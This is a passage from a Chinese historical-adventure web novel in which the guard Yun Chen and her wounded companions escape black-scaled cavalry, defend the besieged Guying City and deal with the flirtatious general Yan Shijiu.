一个黑鳞骑兵走到方才花绝昏倒的地方停下来,抬腿跳下马。
第172章 不知善恶
“他妈的,霍乾念跑哪去了?搜了这么久还找不到!”
“别急,我不信他伤成那样还能跑出去!”
“就是,说不定已经死了。”
“将军说了,活要见人,死要见尸,就是尸体也得扛回去!”
“得嘞!”
几个黑鳞骑兵说着话。其中一人跳下马,站定在一片高草丛前。
若此时他弯下腰,便能与一双惊恐的眼睛对视上,瞧见一个绝望无助的少女正藏在草丛里。
草丛茂密高盛,霍阾玉蹲在里面,与那黑鳞骑兵不过一尺的距离,近到她可以清楚地闻见黑鳞铠甲冰冷的金属气味。
她浑身不住地发抖,不知道是因为太过恐惧,还是因为刚才拖动几人累的。
那黑鳞骑兵站在草丛前,撩起铠甲,开始解腰带,看样子是要方便。
霍阾玉想避开不去看,脖子却僵硬得根本动不了,紧张得连闭眼都忘了。
这时,一只手慢慢伸过来,先是摸到霍阾玉的肩膀,而后轻轻捂住了她的眼睛。
那黑鳞骑兵放完水,重新系好裤腰带,再次翻身上马。
一直到马蹄声远远离去,彻底听不见了,霍阾玉才终于浑身一软,瘫倒在地上。
云琛不知什么时候醒了,她脸色苍白,嘴唇也苍白,后背疼得像被马车碾过似的,头也剧痛难忍。
她用手轻轻拭去霍阾玉脸上的眼泪,费力安慰:
“不哭……我在呢……”
霍阾玉委屈地瘪瘪嘴,一头扑进她怀里,终于闷声大哭起来。
就在这时,又一声马蹄轻吠声响起。
霍阾玉的哭声戛然而止,迅速从地上拿起一块石头,护在云琛身前,端起拼命的架势。
云琛无力地躺在地上,望着霍阾玉那生疏的防御姿势,那决然却不再颤抖的样子,再次慢慢失去意识。
霍阾玉回头看了眼又陷入昏迷的云琛,握紧石头,心中已做好同归于尽的准备。
等到马蹄声越来越近,霍阾玉瞪大眼睛,神经紧绷到极限的时候——
一颗憨厚高大的马头伸进草丛,低头闻了闻一旁的霍乾念。
“呼……”霍阾玉长吁一口气,放松下来,她认得这是霍乾念的屠狼驹。
在这次偷溜出府跟随云琛之前,霍阾玉甚至都没有摸过马。
但一个多月骑马饮马下来,霍阾玉现在已经很熟悉马的习性。
她上前轻摸马头,不知道是在安抚马,还是在安抚自己。
“小马儿,别怕,能行的……我们一定能逃出去……”
屠狼驹极通人性,显然听懂了霍阾玉的话,竟慢慢跪下,卧在了地上。
霍阾玉使出九牛二虎之力,将霍乾念和花绝趴放在马背上,她则重新背起云琛,拍拍马脖子,示意屠狼驹开路。
就这样,一人一马,三个昏迷的伤员,屠狼驹在前,霍阾玉在后,慢慢在林中摸索前行。
这次,没有花绝想着法子逗乐,绞尽脑汁地加油打气了,只有屠狼驹高大壮实的马背,坚定又沉默地向前。
不知道为什么,霍阾玉突然觉得,即使没有人哄着,安慰着,她好像一样可以坚强。
天亮时赶路,天黑时靠着屠狼驹浅睡。
渴了就寻小溪和山泉,饿了就摘野果吃。
昏迷受伤的三人有时会短暂地醒过来,霍阾玉便给他们也喂水和果子。
就这么不知年月地走啊走,一连走了七八天,霍阾玉终于望见不远处的矮坡下,两间简陋的茅草屋出现在视野。
那屋门前栓着一红一黑两匹马,屋檐上挂着两根风干腊肉,看起来像是猎户。
要换作从前,霍阾玉肯定会激动得哭出来,背着云琛就往茅草屋冲。
可经过这一遭变故,她已学会谨小慎微才能保命。
她将身子伏低,神情探究地望着门口的黑马,对屠狼驹道:
“对方善恶不知,万一是那骑黑马的骑兵就遭了。我先去瞧瞧,如果安全,我便来接你们,万一不测,我会大喊,你便快逃。好马儿,听话。”
屠狼驹轻点头,表示明白。
只是马背虽宽阔,但位置有限,只能驮两个人。
这意味着霍阾玉若独自去茅草屋探情况,就必须将云琛放下。
如果有危险,屠狼驹可以驮着霍乾念和花绝跑,云琛就只能留在原地等死。
这时,云琛再次缓缓苏醒,只往四周看一眼,便立马明白霍阾玉现在的困境。
霍阾玉愁得眉头紧皱,脑子出神,竟没有发现背上的云琛已经苏醒。
“我去吧……”云琛开口,吓了霍阾玉一跳。
“你醒了?怎么样?”霍阾玉赶忙将云琛放在地上,可她却不肯躺下,挣扎着想站起身。
只是脚软得厉害,身上到处钻心地疼,一点力气都没有,她尝试了两次都没能站起来。
霍阾玉搀扶着云琛,“你要干什么?”
云琛勉强站定,看向那茅屋,“我去探探情况……你……你们留在这里……”
霍阾玉斩钉截铁地拒绝:“你都这样了还去探什么路?!要去也是我去!”
云琛摇头,艰难地说:
“我已经受伤……若真有不测……折我一个就好……你们都可以跑……”
若霍阾玉去,出了事,云琛留在原地等死不说,霍乾念和花绝也还昏迷着,只靠屠狼驹是不成的,最后很可能四个人都死在这林子里。
所以云琛去,是最稳妥的法子,能最大限度保证其他几人活下去。
可霍阾玉听了这话,却顿时慌起来:“你要留我一个人在这?不行!万一你出事了!我怎么办?我不许你冒险!不行!”
云琛扶着树稳住身子,连连安抚霍阾玉,坚定地看进那因为惧怕而睁得老大的眼睛,道:
“阾玉,你和一般的姑娘不一样......你已经走到这里了,吃了多少旁人想都不敢想的苦,杀人都见过了,还怕什么……这世上没有几个比你还勇敢的女子……别怕……”
霍阾玉一下小声哭出来,用哀求不舍的目光看着云琛,哽咽着说:“可我不想你去冒险……”
云琛勉强笑笑,摸摸霍阾玉的头:
“傻瓜,你忘了吗,我是护卫啊……保护你们,本就是我的职责……”
霍阾玉听完哭得更厉害了,却没有再说话,亦没有阻拦。
云琛将靴子里一柄短刀交给她,然后一步一踉跄,脚步拖沓地向茅草屋走去。
泪眼模糊中,霍阾玉看着马背上昏迷不醒的霍乾念和花绝,再看看手里冰冷又陌生的刀,以及逐渐离她越来越远的云琛,只感到一种前所未有的恐惧。
尽管已心乱如麻,紧张得要死,可霍阾玉还是不敢发出一点声音,目光紧紧跟随着云琛的身影。
云琛实在受伤太重,并不是很长的一段路,她歇了四五次才能继续走。
等走到茅草屋前的时候,云琛已耗费完所有力气,天旋地转之中,她身子直挺挺地倒在地上,发出“砰”的一声。
听见响动,茅草屋的门打开,走出一个高瘦的汉子。
那汉子走到云琛跟前,推推云琛肩膀,又探探云琛脉搏,立刻冲屋里喊道:
“还有气!快救人!”
第173章 荣江和荣易
也许真的是山神有灵,不忍两个姑娘这样受罪,便叫她们绝处逢生。
能在偌大的深山里碰到好心的猎户,这概率比遇见玉皇大帝还低。
茅草屋的主人是一对隐居山中的猎户兄弟,荣江和荣易。
俩人看起来颇为和善,十分热心地帮忙将霍阾玉几人安置好,还拿了不少创伤药出来。
那荣江甚至懂一些医理,他快速为花绝和霍乾念清洗伤口,包扎止血。
见霍阾玉疲累极了,两兄弟赶紧做了些热饭热菜,还拿了几套干净衣服来。
霍阾玉连连道谢,吃饱喝足,擦洗换衣,总算感觉捡回一条命。
最后,那猎户两兄弟打量云琛身上的伤,感慨道:
“这位兄弟烧伤得太厉害了,伤口已经开始化脓,身上也在发热,我只能拿蒲公英草试试看,还是得尽快出山去寻大夫,不然性命不保——你们是怎么弄成这样的?”
霍阾玉被问住了,她停下为云琛擦拭伤口的动作,愣愣地看着荣江,不知从何说起。
荣易见状,朝荣江使了个“闭嘴”的眼色,从旁打圆场:
“这几位一看就是非富即贵,来游山玩水的,是不是路上遇见土匪打劫了?”
霍阾玉连连点头:“对对对!”
荣江“呵呵”干笑两声,作恍然大悟状:
“原来如此!这林子地处边境,楠国、东炎、昭国的三国边境交界就在这,说好听点是三国据守之地,说难听点,这地方边境线模糊,三国都能在此杀人。你们没遇见他国的边境守军已是万幸。”
霍阾玉想起那群如鬼魅可怖的黑鳞骑兵,忍不住打了个战栗。
等将霍乾念、云琛和花绝三人安置妥当,霍阾玉已累得手都抬不起来。
她靠在云琛身旁,鞋子都没脱,直接睡了过去。
只是这一觉睡得并不踏实,不停做各种噩梦。
梦中,她看见穿着红色衣服的无头尸体,看见那个在空中飞舞着长枪、笑容阴森的黑鳞骑兵首领,还看见霍帮护卫们一个个倒下,云琛冲上去护着霍乾念,直直地坠下悬崖。
她心里不停告诫自己:
不能睡太久,荣江荣易两兄弟看着和善,可爹总说人心隔肚皮,不能睡太死……
云琛后背的药该换了,得给她再擦洗一下,试试能不能退烧……
给他们三个人再喂点水吧……
霍阾玉满脑子想的全是这些,人却控制不住地越睡越沉。
她想要醒来,却像被梦魇住了似的,根本醒不了。
“醒醒!!”
一声突然大喊贴着霍阾玉耳边响起,她猛地惊醒,眼前是荣江肃然的脸。
她不知自己睡了多久,只见来时外面还天光大亮,这会已经快黑了。
她人还发懵呢,荣江却将一把刀硬塞进她手中,急道:
“有一群骑黑马的土匪在朝这里来!快跑!快!”
骑黑马的土匪?只可能是黑鳞骑兵!
霍阾玉瞬间清醒,赶紧去背云琛,却见榻上已空空如也。
屋子外面,荣易已将霍乾念和花绝捆上屠狼驹的马背,然后将云琛放到另一匹大红马的屁股上,翻身跨上马。
她赶忙跑出去。荣易指着最后一匹黑马问她:
“能骑不?”
霍阾玉点点头,动作滑稽却熟练地爬上马。
视线变高,霍阾玉看见天色几乎全黑,不远处有火光晃动,正快速朝茅屋而来。
荣易指指霍阾玉身后,那最后一个位置,对荣江道:
“赶紧上马!别磨叽了!先跑再说!”
荣江却抽出一柄弯刀,朝火光来的方向迎面跑去,道:
“你带着他们跑,我去引开那些家伙,这样胜算最大!”
荣易撇撇嘴,立刻拉动缰绳,掉头出发,临走撂下一句话:
“你奶奶的,帅都让你耍了!别他妈死太早了啊!”
荣江头也不回地跑着,举刀大骂:
“去你奶奶的——咱俩是一个奶!”说完,他一头扎进树林,一边跑,一边故意晃动树枝,闹出些大动作,立马吸引了不远处的火光跟上去。
三匹快马趁机朝固英城的方向疾驰而去,荣易将马驾得几乎快要飞起,霍阾玉追着费劲,想对他说句感谢都没机会开口。
只可惜黑鳞骑兵也不是吃素的,很快就发现荣江是故意在引着他们兜圈子,立刻调转方向,朝荣易和霍阾玉的方向追上来,开始放箭追击。
一支长箭呼啸射来,荣易侧身躲过,却不小心带动缰绳,拉得马偏靠近树,直接让马屁股上的云琛和树干来了个亲密接触。
“咚”得一声,云琛的脑袋磕在树上。
荣易赶紧往反方向拉马,就听又“咚”的一声,这次云琛的屁股遭了殃。
“兄弟!对不住对不住!”荣易边驾马边大喊。
云琛根本听不见,倒是跟在后面的霍阾玉瞧得分明,见那树都被撞得枝叶乱颤,心里十分心疼云琛。
但此刻顾不得这些细枝末节,身后追击的马蹄声和呼喝声已逐渐贴近。
黑鳞骑兵的马都带着铁制的面具,根本不惧飞奔过程中树枝扰眼,跑得比寻常马快许多,很快就追了上来。
荣易扭头看去,只见黑鳞骑兵已近在咫尺,跑在最后面的霍阾玉已快要陷入黑色的包围。
“妈的!咬得真紧!”荣易咒骂一句,正纠结该怎么办时,马背上的云琛方才被树“打”了两下,竟幽幽转醒,目光无焦地望着眼前陌生的年轻人。
一见云琛醒来,荣易大喜,立刻将缰绳塞进云琛手里:
“兄弟,看来我只能送你们到这了!我这马认识下山的路,你尽管跑!我去殿后!”
说罢,也不管云琛还是个重伤员,神志是否清醒,有没有力气驾马,荣易直接飞身跳下马,迎面与最前面的黑鳞骑兵交战在一起。
全凭多年骑马的本能,云琛紧紧拽着缰绳。屠狼驹载着霍乾念和花绝紧随其后,霍阾玉亦全力跟随。
跑了整整半夜,天光大亮时,三匹马终于跑出了这噩梦般的密林,远远停在了固英城外。
云琛强撑着一丝清醒,望向城门,却顿时震在原地。
霍阾玉也呆呆地望着城墙,面色惨白得像鬼一样。
两人目光所及之处,只见城墙残破倒塌,“固英城”的牌匾摇摇欲坠。
城墙上到处都是火烧过的痕迹,以及被火石砸出的大黑洞。
无数守城将士的尸体倒在城墙上、城门口,黑红的鲜血将大地染得斑驳可怖。
霍阾玉的神志已根本无法思考,愣愣看着眼前一切。
“这......这是怎么了?”
云琛也不知道。她强稳住颤抖的心神,看了眼仍旧高高耸立、随风飘扬的楠国九龙官旗,一咬牙,一夹马,切齿道:
“入城!”
第174章 太秀了
楠国三十年四月,楠国皇帝南高羽薨,真龙殡天。
南高羽的死,宛如压抑许久的楠国大地被解开了封印。
国仇家恨,恩恩怨怨,几十年血债堆积,终于到了清算之日。
各国势力蠢蠢欲动,垂涎望着这块富足丰饶的中原大地。
五月,北方游牧民族的洛疆国,率游兵夜袭楠国北境;
已亡国被吞并的原大楚国残余势力,集结成叛军,于东部死灰复燃,高举复国大旗,兴兵攻城掠地;
同时,一支来历不明、不知国籍的黑鳞骑兵越过东南边境,接连拿下两座边境重城,止步在固英城外。
三股势力如商议好的一般,几乎在同一时刻大肆进犯,形成来势汹汹的“三国攻楠”之势。
一时间,楠国举国震动,朝廷立即下令迎战,派出曹放、段捷、孟剑云三名主将,与一干得力副将各自领兵,前往迎敌平叛。
一时间,除了以京都为中心的中部地区和西部地区,楠国北部、东部、东南部,几乎全部陷入纷飞战火。
进入固英城之后,云琛很快再次陷入昏迷。
这一次,她仿佛深深陷在一个冗长又可怕的梦里。
当她从粘稠又无边无际的黑暗中挣扎逃出时,她好似看见自己的灵魂脱离身体,飘荡在空中。
梦里面,她看见边境林中有一片林子被火烧得焦黑,到处都是霍帮护卫们横七竖八的尸体。
那追击着玉阳基深入边境的有功之卫们,那本该回京都迎接霍帮大获全胜的汉子们,通通无缘无故地死在了黑鳞骑兵的长枪下。
接着,她灵魂飘到固英城的上空。
她看见城中到处一片混乱,百姓们有的闭门不出,有的忙着举家奔逃
八千守城将士以及霍乾念从玄甲军借来的三千步兵,与黑鳞骑兵苦战十日,死伤遍地,唯剩两千余人据守城门,垂头丧气地坐着,等待下一场死战。
军中所有大帐都躺满受伤的将士,军医忙碌穿梭其中,连喝口水的时间都没有。
那之前还在劝导霍乾念“治国比齐家更严”的步兵统领,此时已失去一只眼睛,一条小腿,浑身绑满草药布巾,躺在草榻上奄奄一息。
飘啊飘,云琛又飘到一间大帐篷里。
只见才苏醒不久的霍乾念正孤独地坐在主帅大帐中,面容深沉,眉头紧皱,脸上有无暇去刮的青色胡茬。
他的身边只有一个需要捧着腹部才能站立、比他还要虚弱的花绝,再没有其他任何一个霍帮护卫相随。
突然,一个小兵冲进帐篷,跪倒在地,悲声道:
“霍都督,我们步兵统领重伤不治,方才......已经去了......黑鳞骑兵已经在朝固英城而来!后日便达!我们现在只剩两千步兵守城!朝廷的援军本来已经在路上,可途径中部时,和孟剑云将军一起被困叛区,正与原大楚残寇交战!无法来援!请霍都督主事!”
良久的沉默之后,霍乾念嗓音嘶哑又虚弱:
“来攻固英城的黑鳞骑兵有多少人?”
那小兵颤声道:
“大约......两万。”
霍乾念闭了闭眼。他已没日没夜地翻阅完所有堆积的战报和书信,终于明白楠国已三面陷入战火。
而他,被困在固英城了。
他快速召集军中仅剩的六个信兵。
一个信兵去向离固英城最近的越城求援,请一万越城守城军赶来增援;另外五个信兵则和花绝一起奔向四面八方,将一封又一封霍帮少主的山隐月号令,急急发往全楠国各个堂口。
接着,固英城大街小巷都张贴起临时征兵的告示,召集起勉强可用的八百青壮年。
再接着,霍帮各个堂口的报令穿越重重战区,飞向固英城;
回报曰:远在京都的霍府,除了院卫,所有近卫、武师、在训的预备护卫,六百余人已向固英城方向进发。
安排完所有事务,霍乾念走到一旁榻前,定定望着那张俊俏、清瘦,却又毫无生气的脸。
云琛飘过去,仔细瞧了瞧那张脸,竟然是她自己。
霍乾念轻轻抱了一下她的身体,将头抵在她的额头,声音哽咽:
“琛儿......求你醒醒......”
云琛听得心里难受,有些想哭。她想飘过去抱抱霍乾念,却感觉身子越来越轻,再次飘向空中。
没有任何理由的,她觉得好像要诀别了。
干了这么多年护卫,也算不辱使命。
纵使舍不得霍乾念,她却知天命如此,不可强求。
她彻底放松下来,任由身子飘向空中。
谁知刚飘到一半,屁股突然被狠狠踹了一脚。
她迅速从空中落下,直直扑向榻上她自己的身体。
她来不及回头去看,只听见两个熟悉的声音笑道:
“你特娘给我下去吧!臭小子,你的路还长着呐!”
“狗哥,你踢得又狠又准,太秀了!”
第175章 末日
两天后,当云琛终于从冗长的梦中惊醒时,她睁开眼,目光聚焦在头顶的泥土墙壁和木板上。
她转头去看,一盏昏暗的油灯亮着微弱的光,霍阾玉在旁边的草榻上睡着了,手里还拿着块湿帕子,一看就是已累到极限。
环顾四周,空间很小,全是泥土墙和木板,一个窄窄的木梯向上延伸,尽头是一块盖板。
地上除了她和霍阾玉躺的草榻,就只有几麻袋苹果、土豆、玉米......看起来是个存粮的地窖。
她慢慢活动四肢,撑着手臂坐起来,这才发现自己头上和背部全都包着草药布巾,但伤口已经愈合大半。
她将草药布巾拆掉,摸摸后脑勺。
为了包扎上药,她的头发被剪掉了一块,伤口处有点凹陷,是缺了一小片头骨的缘故。
她有点茫然地呆坐了一会儿,花了点时间才回忆起昏迷之前的事情,然后轻手轻脚地坐起身,穿好衣裳。
她重新束起头发,拿起一旁靠在墙上的饮血剑,顺着木梯慢慢爬上去。
推开盖板,外面安安静静,是一户没有人住的农家小院。
她走出院子,往主街上走,不安地停住脚步。
明明是六月夏日,可天空却冷冷地阴着。
长长的主街两边,所有商铺和酒楼都是空的,整条街上空空荡荡,一个人影都没有。
风吹过她脚边,将地上“征集民兵”的告示卷起来,飘向阴郁的空中。
她顺着街走了足足一刻钟,仍然不见一个人。
到处都关着门,没有人声,甚至没有狗吠,寂静得像一座空城。
心里莫名涌上一种强烈的孤独感,这是从来没有过的事情。
她不禁怀疑自己是不是已经死了,只剩灵魂游荡在阴间?
再继续往前走,她终于听见刀刃轻碰刀鞘的声音。
远远地,她看见城门上立满将士和民兵,霍乾念一身戎装,持隐月剑站立在最中央,一旁的花绝也身穿铠甲,配着战刀。
所有人都面向城门外而立,没有人回头向城里看,便没有人发现她。
忽然,她看见所有人纷纷抽出武器,弓箭手拉满弓,步兵举起战刀,投掷手装好石块,几十个将士冲向城门,用巨大的石车死死顶住......
她看见霍乾念抽出了隐月剑。
即使看不见他的神情,她仍旧能从那威严的背影上,感受到强烈的肃杀之气。
所有人都神情紧张地望着远方。
云琛看不见城门外发生了什么,只感觉到大地在微微颤动,马蹄声密集壮大,如雷嘶吼着,越靠越近。
不必再问任何人,云琛大概猜到发生了什么。
她从一旁成堆的武器装备箱里,拣出一件染血的铠甲。
后背伤口才愈合大半,稍微一碰就痛。
她忍着疼,将坚硬冰凉的铠甲穿上,又拿出一套弓箭背在身上。
即使已做好心理准备,可当她顺着长长的石阶攀上城门时,还是感觉浑身一麻,整个人震在了原地。
漫天阴云密布,压城欲摧。
无边无际的旷野中,长风呼啸哀鸣。
头戴狰狞面具的黑马,布满鳞片的黑色铠甲,以及无比锋利的黑色长枪......
数不清的黑鳞骑兵如黑山海啸一般,正急速朝固英城而来。
相比之下,这固英城门上的人实在少得可怜,单薄得可怜。
这是末日吗?
云琛简直无法从眼前这震撼又恐惧的情形中回过神。
她不明白自己只是受伤昏迷了些日子而已,这世界怎么就变成了她从来没有见过的末日模样?
霍乾念一直盯着越靠越近的黑鳞骑兵,根本没发现不远处的云琛。
当黑鳞骑兵终于列满固英城下时,一支黑色的长箭率先飞来,直冲霍乾念面门。
不等霍乾念扬剑斩箭,已有另一支箭矢急速飞去,准准将黑箭击落。
霍乾念顺着箭矢飞来的方向望去,立时惊讶地睁大眼睛。
还有一个人也和霍乾念一样,望着同一个方向——
城门之下,蓄势待发的黑鳞骑兵中央,是在那林中为首、能挽出一手骇人枪花的男人:
黑鳞骑兵首领将军,焦左泰。
见自己全力射出的一箭,竟被一个看起来弱不禁风的小子给截了,焦左泰不禁眯眼仔细打量。
“喂,身手不错,叫什么名字?”焦左泰冲云琛喊话,声音颇为戏谑。
云琛站定在霍乾念身边,握了握他的手以示安慰,冷冷撇了眼焦左泰:
“我不叫‘喂’,我叫你祖宗爹!”
焦左泰没有发怒,反而哈哈大笑起来,随即面目变得阴狠,大令一声“进攻”!
一瞬间,黑鳞骑兵爆发出震天的吼声,像蝗虫一样疯狂地冲锋爬城,轰隆隆的战车载着巨石冲撞向城门。
城上城下当即交锋悍战,杀喊声沸反盈天。
花绝一边忙着砍杀攀上城门的黑鳞骑兵,一边冲云琛急道:
“少主特意将你和阾玉藏到地窖,你怎么出来了?!”
云琛不停拉弓射箭,箭无虚发,一箭射倒一人,头都来不及回,“别废话了,这场群架人有点多,好好打!”
血染黄土,硝烟灼天。
一波又一波黑鳞骑兵攀上城墙,又一次次被守城将士击退。
城门虽未攻破,却已被黑鳞骑兵的战车撞出一个大窟窿。
黑鳞骑兵疯狂从窟窿里冲进来,铁甲摩擦过大门,发出刺耳的声音。
那首领将军焦左泰更是狠将,不只冲在最前面跃进城门,更一枪一刀交替砍杀,所到之处如重锤碾蚂蚁,杀倒大片楠国将士,硬生生为后方的黑鳞骑兵杀出一条血路。
两个守城将士迎着焦左泰扑上去,其中一人被焦左泰一刀砍掉脑袋,另一人被焦左泰狠狠一脚跺在地上,手中战刀脱手。
那将士再次爬起来冲上去,胳膊狠狠绞住焦左泰脖子,试图勒死对方,哪怕皮肉已被铠甲鳞片扎透,也毫无惧色。
然而焦左泰只是向后勾起一只手,抱住那将士脑袋猛地扭转,便一把扭断了那将士的脖子。
将那将士的尸体随意扔在地上,焦左泰阴狠而笑,一身漆黑铠甲布满血色,气势狠厉异常,竟令四周无人敢上前。
这时,一道长箭破空飞来。
焦左泰偏头躲过,还未来得及回头,便被一脚踹在脸上,身子趔趄,后退了好几步才站稳。
云琛收弓抽剑,狠狠杀去,焦左泰一边抵挡,一边被迫后退数丈,不由心里一惊,更加谨慎地打量起云琛。
“小子,功夫不错!就是人不够壮实!”饶是已占下风,焦左泰仍口中挑衅,面上挂着阴恶笑容。
云琛唾骂一声“足够送你见阎王!”而后更加凶猛地击杀而去。
她方才一路杀过来,清清楚楚地瞧见,焦左泰是怎么样把楠国将士们不当人一样地杀。
这会她心里有恨又有气,全然不顾自己身上挨了多少刀箭,只目标锁定焦左泰首级,越杀越红眼。
可那焦左泰却像是专来克云琛的,云琛的打法招式总在他预料之内,竟次次见招拆招,叫云琛占不到什么便宜。
注意到云琛这边局势不利,霍乾念立刻飞身来援。
一见二人要合并进攻,深知自己不是对手,焦左泰立即后撤,只叫无数黑鳞骑兵冲上去,将二人团团包围。
一个又一个黑鳞骑兵攻上来,一个又一个被云琛和霍乾念杀退。
从黑夜厮杀到黎明。
两千对两万。
如果不是占据着守城的优势,两千人甚至不够黑鳞骑兵塞牙缝的。
就在守城将士几乎死伤殆尽,城门快要失守的时候,一支援军终于姗姗来迟,从后方包抄,将黑鳞骑兵杀得措手不及,只能匆忙撤退。
当颜十九策马率两万大军进入固英城时,只见四处横尸遍野,血流成河。
破出一个巨大窟窿的城门后,霍乾念与云琛浑身是血,互相搀扶着才能摇摇站立。
颜十九见到这一幕,瞳孔骤然紧缩,抓紧了手里的缰绳。
看着眼前高高飞扬的烈日焰火的金红色旗幡,霍乾念盯着颜十九的脸。
“东炎的兵?”
“对。”颜十九嘴角弯起一抹挑衅笑容,居高临下地俯视着霍乾念。
“东宫有令,命本将军前往东炎借兵救援。霍都督,你好好休息吧。”
第176章 明码标价
固英城守住了。
守城的将士也死得差不多了。
颜十九带着从东炎借来的兵,驻扎在固英城的营地旁。
城门被修好,战场也打扫完毕。
固英城的牌匾甚至都被擦得干干净净。
留下的百姓们渐渐打开门,试探着走上街。
托颜十九的福,他不仅带来两万步兵,还带来许多军医和药物。
只是这厮在见到云琛之后,不知哪根神经搭错,竟明码标价地要“云琛”换“物资”。
要云琛陪他吃一顿饭,可换四车粮草;
云琛陪他喝一顿酒,可换六车药材;
赏月一次,可换十二只羊,两车水果,两车腊肉;
并肩聊天一次并一个时辰以上,可换铠甲装备两千套;
陪睡一次,可直接换走两万东炎兵。
当颜十九把这样一份“物价清单”明明白白地写在纸上,叫人送进固英城营地大帐的时候,霍乾念的脸简直比黑鳞骑兵的铠甲还要黑。
花绝将纸揉成一团,狠狠扔在地上,大骂:
“这狗日的颜十九!一天到晚算计着搞阿琛!这么不要脸的话也好意思写出来!真是脸皮比固英城的墙墩子还厚!”
一旁,才从林子里徒步整整二十天、死里逃生出来的叶峮和不言,昨夜出林子时,本想着回固英城美美地吃喝休整一番,却见城下人潮涌动,杀声震天,城门口是全力对战杀敌的霍乾念、云琛和花绝……
二人哀叹一声,无奈地加入了这场守城之战,一直到颜十九带兵来援,黑鳞骑兵全部撤退,二人才有空来霍乾念跟前报道。
当时在林中遇袭,为了替花绝挡那一枪,叶峮腹部几乎被贯穿,至今还没好全。
他捧着肚子躺在旁边榻上,眼观鼻鼻观心,装作啥也听不见,也不去看霍乾念跟要变异了似的,浑身冒黑气的样子。
倒是不言伤已痊愈,话匣子又打开。在林子里只有叶峮一个“听众”,这回到固英城,“听众”一多,他明显来劲了。
“要说这颜十九看起来也不像个‘龙阳’,估摸着就是单纯嘴贱?话说我和叶峮在林子里走了整整二十天,吃了多少树上的虫子你们知道吗?我们走的那条路背阴,没果子没山泉,幸好长着许多草药,要不然我们哪有命躲过黑鳞骑兵的追剿。
要说这黑鳞骑兵也是邪乎,喊着少主的大名就杀过来,明显认识我们的样子。可眼下看来,他们是来进犯楠国的正规军,虽不知哪国的,但为啥偷袭我们霍帮?难道少主啥时候得罪别国军队了?我说……”
懒得听不言废话,花绝一边大骂颜十九,一边去清点云琛“换来”的物资。
他拿起一个嫩梨叼在嘴里,指挥几个霍帮护卫将东西抬去库房,分给将士们。
另一边,换得一大堆物资的云琛,正站在东炎营地的主帅大帐中,当着颜十九的面,由四个军医为她疗伤包扎。
两个军医帮云琛脱下铠甲,发现她后背烧伤处,那刚长起来点的新肉,已全被铠甲磨出了血。
铠甲一卸,皮肉疼得厉害,她忍不住倒吸一口凉气。
两个军医立刻僵住动作,偷偷打量一旁颜十九的脸色。
颜十九没有说话,也没有看那两个军医,只是对护卫在旁的万宸道:
“去拿秦艽玉颜脂来——全部拿来。”
万宸领命而去,那两个军医也赶紧继续为云琛包扎,只是动作愈加轻慢,生怕再弄疼云琛。
整整两个时辰,四个军医才处理完云琛身上的伤。
到该给云琛后背上药的时候,颜十九叫所有人退下,关严帐门。
他亲自拿起秦艽玉颜脂,走到云琛面前:
“脱吧,我给你上药。”
云琛抓紧衣领往后躲,目光戒备地瞪着他:
“你疯了?男女授受不亲!”
颜十九笑眯眯道:“没事,医者无性别嘛!”
云琛反问:“你是哪门子医者?”
颜十九翻着眼睛想了一阵,凑近她,风流笑道:
“我有相思病,唯有你能治,你不就是医者?”
好家伙,第一次听说“医者无性别”是指医者的!
云琛拿过秦艽玉颜脂,习惯性的一脚踹在颜十九腿上。
挨了一脚,颜十九明显舒坦多了。
他从旁推过来一扇屏风,自顾站到屏风后面,背过身,道:
“我倒要瞧瞧你怎么给自己后背上药。我在这里等着,万一你晕死过去,我好救你。”
云琛皱起眉头看向屏风,能模糊看到颜十九高大的身影。
从来见到颜十九,都是一身白衣潇洒,大大咧咧,没个正形。
如今那虎背蜂腰穿着铠甲,更显得身形比一般男子更宽阔。
这样的颜十九竟然帅得打眼,有一种高高在上的矜贵和霸气。
估摸着以颜十九的性子,云琛若不在这上药,他是绝对不肯的。
云琛便不再啰嗦,麻利地将衣服脱下,只剩一件裹胸。
她将一大块草药布巾铺在榻上,不要钱地涂满秦艽玉颜脂,而后爬上榻,背对布巾躺下去,牢牢粘住药膏,完美又熟练地完成了自己上药。
上完药,她仔细将草药布巾系好,头发却不知怎的松开了,垂散下来。
她专注地以手指梳发,收拢头发,并未发现不知何时,颜十九已转过身,正隔着那朦胧的屏风瞧着她。
一道屏风,叫人看不清什么,却也清楚地看见那令人想入非非的长发倩影,难得地露出些女儿姿态。
云琛甚是俊俏,一双灵动的鹿眼纯澈又勾人,仅一身不施粉黛的男子装束便能叫人过目不忘。
可她到底不是什么国色天香,既不精致,也不温婉,甚至在男人堆里混久了,十分大大咧咧,不拘小节。
有一次,颜十九亲眼看见云琛在草垛里午睡,睡醒之后一头草渣子挂在头发上。
她却只是随意拨拉两下,伸个大懒腰,隔着裤子挠了挠屁股,便大摇大摆地离去了。
那样子属实惊呆了颜十九,让他久久不能忘记,此后每每想起,都不自觉地想笑。
偏偏就是这样一个女人,偏偏叫他生出一肚子爱恨嗔痴,却又不能言说分毫,只能在边界试探来去,终是不敢越过雷池。
“你就这么放心我?不怕我突然冲进去把你吃干抹净?”他在屏风后面说。
她头都不抬一下,“你让万宸给你陪睡吧,我没空,你那两万东炎的兵我也不稀罕,借了人家的,早晚都得还。”
他故意拍拍铠甲,噔噔靴子,发出要走路的声音。
“行,不怕我是吧,那我进来了哦?”
“你试试看。”
“试试就逝逝,看一眼我也不亏!”
颜十九说着将头探出去,刚露出发顶,一个秦艽玉颜脂的空瓶就朝他脑袋飞了过来。
他笑嘻嘻接住瓶子,探头看去,云琛已穿戴整齐,正在系最后的腰带。
他长身倚着屏风,抱着胳膊笑看她,发出一声响亮的弹舌:
“咯,陪我喝一杯走。”
她“啧啧”两声,表情颇为嫌弃:
“都当将军的人了,还是吊儿郎当没个正形,这样怎么让将士信服你?”
他无所谓道:“要信服有何用?‘怕’就行了——走走走,喝酒喝酒——”
第177章 东宫斥令
守城一战,让固英城的将士几乎死绝,唯剩稀稀拉拉二三百人在营地走动,显得颇为凄凉。
与之形成鲜明对比的,是旁边颜十九的东炎营地。
人马齐全,装备充足,人人一副悍将欲战的昂扬姿态,叫固英城的将士们看得心痒。
从颜十九带兵入驻固英城那天起,黑鳞骑兵又前来进攻数次。
那骁勇善战的黑鳞骑兵一遇上颜十九,就仿佛遇见天敌。
颜十九擅用兵法,擅列阵奇兵,竟好几次都打得黑鳞骑兵颇为狼狈。
已是六月小暑,气温逐渐升高的时候。
黑鳞骑兵的铠甲虽然锋利坚固,却极其闷热,在太阳底下晒上一会儿,铠甲立马晒得烫手,能将人的皮肉都烫红,片刻就会中暑晕倒。
